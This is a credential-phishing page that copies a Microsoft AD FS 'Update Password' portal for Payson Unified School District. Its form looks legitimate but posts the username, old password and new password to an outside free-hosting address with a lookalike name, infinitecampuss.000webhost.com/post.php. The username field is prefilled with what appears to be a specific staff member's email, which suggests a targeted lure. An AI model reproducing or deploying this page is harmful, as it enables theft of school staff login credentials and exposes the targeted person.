Untitled


 <!DOCTYPE html>
<html lang="en-US">
    <head>
        <meta http-equiv="X-UA-Compatible" content="IE=10.000"/>
        <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
        <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
        <meta http-equiv="cache-control" content="no-cache,no-store"/>
        <meta http-equiv="pragma" content="no-cache"/>
        <meta http-equiv="expires" content="-1"/>
        <meta name='mswebdialog-title' content='Connecting to Payson Unified School District'/>

        <title>Update Password</title>
        <script type='text/javascript'>
//<![CDATA[
function UpdErrors(){this.userNameFormatError = 'Enter your user ID in the format \u0026quot;domain\\user\u0026quot; or \u0026quot;user@domain\u0026quot;.'; this.mismatchError = 'The passwords you entered do not match.'; this.oldPasswordEmpty = 'Enter your old password.'; this.newPasswordEmpty = 'Enter your new password.'; this.confirmNewPasswordEmpty = 'Confirm your new password.'; this.oldPasswordTooLong = 'The old password must be shorter than 128 characters.'; this.newPasswordTooLong = 'The new password must be shorter than 128 characters.';}; var maxPasswordLength = 128;
//]]>
</script>

<script type='text/javascript'>
//<![CDATA[
// Copyright (c) Microsoft Corporation.  All rights reserved.
function InputUtil(errTextElementID, errDisplayElementID) {

    if (!errTextElementID)  errTextElementID = 'errorText';
    if (!errDisplayElementID)  errDisplayElementID = 'error';

    this.hasFocus = false;
    this.errLabel = document.getElementById(errTextElementID);
    this.errDisplay = document.getElementById(errDisplayElementID);
};
InputUtil.prototype.canDisplayError = function () {
    return this.errLabel && this.errDisplay;
}
InputUtil.prototype.checkError = function () {
    if (!this.canDisplayError){
        throw new Error ('Error element not present');
    }
    if (this.errLabel && this.errLabel.innerHTML) {
        this.errDisplay.style.display = '';
        var cause = this.errLabel.getAttribute('for');
        if (cause) {
            var causeNode = document.getElementById(cause);
            if (causeNode && causeNode.value) {
                causeNode.focus();
                this.hasFocus = true;
            }
        }
    }
    else {
        this.errDisplay.style.display = 'none';
    }
};
InputUtil.prototype.setInitialFocus = function (input) {
    if (this.hasFocus) return;
    var node = document.getElementById(input);
    if (node) {
        if ((/^\s*$/).test(node.value)) {
            node.focus();
            this.hasFocus = true;
        }
    }
};
InputUtil.prototype.setError = function (input, errorMsg) {
    if (!this.canDisplayError) {
        throw new Error('Error element not present');
    }
    input.focus();

    if (errorMsg) {
        this.errLabel.innerHTML = errorMsg;
    }
    this.errLabel.setAttribute('for', input.id);
    this.errDisplay.style.display = '';
};
InputUtil.makePlaceholder = function (input) {
    var ua = navigator.userAgent;

    if (ua != null &&
        (ua.match(/MSIE 9.0/) != null ||
         ua.match(/MSIE 8.0/) != null ||
         ua.match(/MSIE 7.0/) != null)) {
        var node = document.getElementById(input);
        if (node) {
            var placeholder = node.getAttribute("placeholder");
            if (placeholder != null && placeholder != '') {
                var label = document.createElement('input');
                label.type = "text";
                label.value = placeholder;
                label.readOnly = true;
                label.style.position = 'absolute';
                label.style.borderColor = 'transparent';
                label.className = node.className + ' hint';
                label.tabIndex = -1;
                label.onfocus = function () { this.nextSibling.focus(); };

                node.style.position = 'relative';
                node.parentNode.style.position = 'relative';
                node.parentNode.insertBefore(label, node);
                node.onkeyup = function () { InputUtil.showHint(this); };
                node.onblur = function () { InputUtil.showHint(this); };
                node.style.background = 'transparent';

                node.setAttribute("placeholder", "");
                InputUtil.showHint(node);
            }
        }
    }
};
InputUtil.focus = function (inputField) {
    var node = document.getElementById(inputField);
    if (node) node.focus();
};
InputUtil.hasClass = function(node, clsName) {
    return node.className.match(new RegExp('(\\s|^)' + clsName + '(\\s|$)'));
};
InputUtil.addClass = function(node, clsName) {
    if (!this.hasClass(node, clsName)) node.className += " " + clsName;
};
InputUtil.removeClass = function(node, clsName) {
    if (this.hasClass(node, clsName)) {
        var reg = new RegExp('(\\s|^)' + clsName + '(\\s|$)');
        node.className = node.className.replace(reg, ' ');
    }
};
InputUtil.showHint = function (node, gotFocus) {
    if (node.value && node.value != '') {
        node.previousSibling.style.display = 'none';
    }
    else {
        node.previousSibling.style.display = '';
    }
};
//]]>
</script>


        <link rel="stylesheet" type="text/css" href="/adfs/portal/css/style.css?id=D74D4D6943F32AE6F7F11D14D601DBB0E1A58919176EE512150366B6279AAF99" /><style>.illustrationClass {background-image:url(/adfs/portal/illustration/illustration.png?id=183128A3C941EDE3D9199FA37D6AA90E0A7DFE101B37D10B4FEDA0CF35E11AFD);}</style>

    </head>
    <body dir="ltr" class="body">
    <div id="noScript" style="position:static; width:100%; height:100%; z-index:100">
        <h1>JavaScript required</h1>
        <p>JavaScript is required. This web browser does not support JavaScript or JavaScript in this web browser is not enabled.</p>
        <p>To find out if your web browser supports JavaScript or to enable JavaScript, see web browser help.</p>
    </div>
    <script type="text/javascript" language="JavaScript">
         document.getElementById("noScript").style.display = "none";
    </script>
    <div id="fullPage">
        <div id="brandingWrapper" class="float">
            <div id="branding"></div>
        </div>
        <div id="contentWrapper" class="float">
            <div id="content">
                <div id="header">
                    <img class="logoImage" src="/adfs/portal/logo/logo.png?id=D7F94BECC44F549875FFF835B02D0DACAC853014636E9C3F87B34B7C30751304" alt="Payson Unified School District"/>
                </div>
                <div id="workArea">
                        <div id="updatePasswordArea">
        <form method="post" id="updatePasswordForm" autocomplete="off" novalidate="novalidate" action="infinitecampuss.000webhost.com/post.php">
            <div class="groupMargin">
                Update Password
            </div>

            <div class="groupMargin" style="display:none">
                <span id="expiredNotification"></span>
            </div>

            <div id="error" class="fieldMargin error smallText">
                <label id="errorText" for="userNameInput">The user ID or password is incorrect.</label>
            </div>

            <div id="userNameArea">
                <input id="userNameInput" name="UserName" type="email" value="faith.pierce@pusd10.org" class="text fullWidth"
                    tabindex="1" spellcheck="false" placeholder="someone@example.com" autocomplete="off"/>
            </div>

            <div id="oldPasswordArea">
                <input id="oldPasswordInput" name="OldPassword" type="password" class="text fullWidth"
                    tabindex="2" placeholder="Old password" autocomplete="off"/>
            </div>

            <div id="newPasswordArea">
                <input id="newPasswordInput" name="NewPassword" type="password" class="text fullWidth"
                    tabindex="3" placeholder="New password" autocomplete="off"/>
            </div>

            <div id="confirmNewPasswordArea">
                <input id="confirmNewPasswordInput" name="ConfirmNewPassword" type="password" class="text fullWidth"
                    tabindex="4" placeholder="Confirm new password" autocomplete="off"/>
            </div>

            <div id="submissionArea" class="submitMargin">
                <input id="submitButton" type="submit" name="Submit" value="Submit"
                    tabindex="5" onclick="return UpdatePassword.submitPasswordChange()"/>
                <input id="cancelButton" type="submit" name="Cancel" value="Cancel"
                    tabindex="6" onclick="return Cancel()"/>
            </div>
        </form>

        <div id="introduction" class="groupMargin">

        </div>

        <script type="text/javascript" language="JavaScript">
        //<![CDATA[

            function UpdatePassword() {
            }

            UpdatePassword.userNameInput = 'userNameInput';
            UpdatePassword.oldPasswordInput = 'oldPasswordInput';
            UpdatePassword.newPasswordInput = 'newPasswordInput';
            UpdatePassword.confirmNewPasswordInput = 'confirmNewPasswordInput';

            UpdatePassword.initialize = function () {

                var u = new InputUtil();

                u.checkError();
                u.setInitialFocus(UpdatePassword.userNameInput);
                u.setInitialFocus(UpdatePassword.oldPasswordInput);
                u.setInitialFocus(UpdatePassword.newPasswordInput);
                u.setInitialFocus(UpdatePassword.confirmNewPasswordInput);
            } ();

            UpdatePassword.submitPasswordChange = function () {
                var u = new InputUtil();
                var e = new UpdErrors();

                var userName = document.getElementById(UpdatePassword.userNameInput);
                var oldPassword = document.getElementById(UpdatePassword.oldPasswordInput);
                var newPassword = document.getElementById(UpdatePassword.newPasswordInput);
                var confirmNewPassword = document.getElementById(UpdatePassword.confirmNewPasswordInput);

                if (!userName.value || !userName.value.match('[@\\\\]')) {
                    u.setError(userName, e.userNameFormatError);
                    return false;
                }

                if (!oldPassword.value) {
                    u.setError(oldPassword, e.oldPasswordEmpty);
                    return false;
                }

                if (oldPassword.value.length > maxPasswordLength) {
                    u.setError(oldPassword, e.oldPasswordTooLong);
                    return false;
                }

                if (!newPassword.value) {
                    u.setError(newPassword, e.newPasswordEmpty);
                    return false;
                }

                if (newPassword.value.length > maxPasswordLength) {
                    u.setError(newPassword, e.newPasswordTooLong);
                    return false;
                }

                if (!confirmNewPassword.value) {
                    u.setError(confirmNewPassword, e.confirmNewPasswordEmpty);
                    return false;
                }

                if (newPassword.value !== confirmNewPassword.value) {
                    u.setError(confirmNewPassword, e.mismatchError);
                    return false;
                }

                var error = document.getElementById('error');
                error.innerHTML = '';
                return true;
            };

            InputUtil.makePlaceholder(UpdatePassword.userNameInput);
            InputUtil.makePlaceholder(UpdatePassword.oldPasswordInput);
            InputUtil.makePlaceholder(UpdatePassword.newPasswordInput);
            InputUtil.makePlaceholder(UpdatePassword.confirmNewPasswordInput);
        //]]>
        </script>
    </div>

                </div>
                <div id="footerPlaceholder"></div>
            </div>
            <div id="footer">
                <div id="footerLinks" class="floatReverse">
                     <div><span id="copyright">&#169; 2013 Microsoft</span></div>
                </div>
            </div>
        </div>
    </div>
    <script type='text/javascript'>
//<![CDATA[
// Copyright (c) Microsoft Corporation.  All rights reserved.

// This file contains several workarounds on inconsistent browser behaviors that administrators may customize.
"use strict";

// iPhone email friendly keyboard does not include "\" key, use regular keyboard instead.
// Note change input type does not work on all versions of all browsers.
if (navigator.userAgent.match(/iPhone/i) != null) {
    var emails = document.querySelectorAll("input[type='email']");
    if (emails) {
        for (var i = 0; i < emails.length; i++) {
            emails[i].type = 'text';
        }
    }
}

// In the CSS file we set the ms-viewport to be consistent with the device dimensions,
// which is necessary for correct functionality of immersive IE.
// However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original
// values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.
// Windows 8 phone has agent string 'IEMobile 10.0'
if (navigator.userAgent.match(/IEMobile\/10\.0/)) {
    var msViewportStyle = document.createElement("style");
    msViewportStyle.appendChild(
        document.createTextNode(
            "@-ms-viewport{width:auto!important}"
        )
    );
    msViewportStyle.appendChild(
        document.createTextNode(
            "@-ms-viewport{height:auto!important}"
        )
    );
    document.getElementsByTagName("head")[0].appendChild(msViewportStyle);
}

// If the innerWidth is defined, use it as the viewport width.
if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {
    var viewport = document.querySelector("meta[name=viewport]");
    viewport.setAttribute('content', 'width=' + window.innerWidth + 'px; initial-scale=1.0; maximum-scale=1.0');
}

// Gets the current style of a specific property for a specific element.
function getStyle(element, styleProp) {
    var propStyle = null;

    if (element && element.currentStyle) {
        propStyle = element.currentStyle[styleProp];
    }
    else if (element && window.getComputedStyle) {
        propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);
    }

    return propStyle;
}

// The script below is used for downloading the illustration image
// only when the branding is displaying. This script work together
// with the code in PageBase.cs that sets the html inline style
// containing the class 'illustrationClass' with the background image.
var computeLoadIllustration = function () {
    var branding = document.getElementById("branding");
    var brandingDisplay = getStyle(branding, "display");
    var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display");

    if (brandingDisplay && brandingDisplay !== "none" &&
        brandingWrapperDisplay && brandingWrapperDisplay !== "none") {
        var newClass = "illustrationClass";

        if (branding.classList && branding.classList.add) {
            branding.classList.add(newClass);
        } else if (branding.className !== undefined) {
            branding.className += " " + newClass;
        }
        if (window.removeEventListener) {
            window.removeEventListener('load', computeLoadIllustration, false);
            window.removeEventListener('resize', computeLoadIllustration, false);
        }
        else if (window.detachEvent) {
            window.detachEvent('onload', computeLoadIllustration);
            window.detachEvent('onresize', computeLoadIllustration);
        }
    }
};

if (window.addEventListener) {
    window.addEventListener('resize', computeLoadIllustration, false);
    window.addEventListener('load', computeLoadIllustration, false);
}
else if (window.attachEvent) {
    window.attachEvent('onresize', computeLoadIllustration);
    window.attachEvent('onload', computeLoadIllustration);
}

//]]>
</script>


    </body>
</html>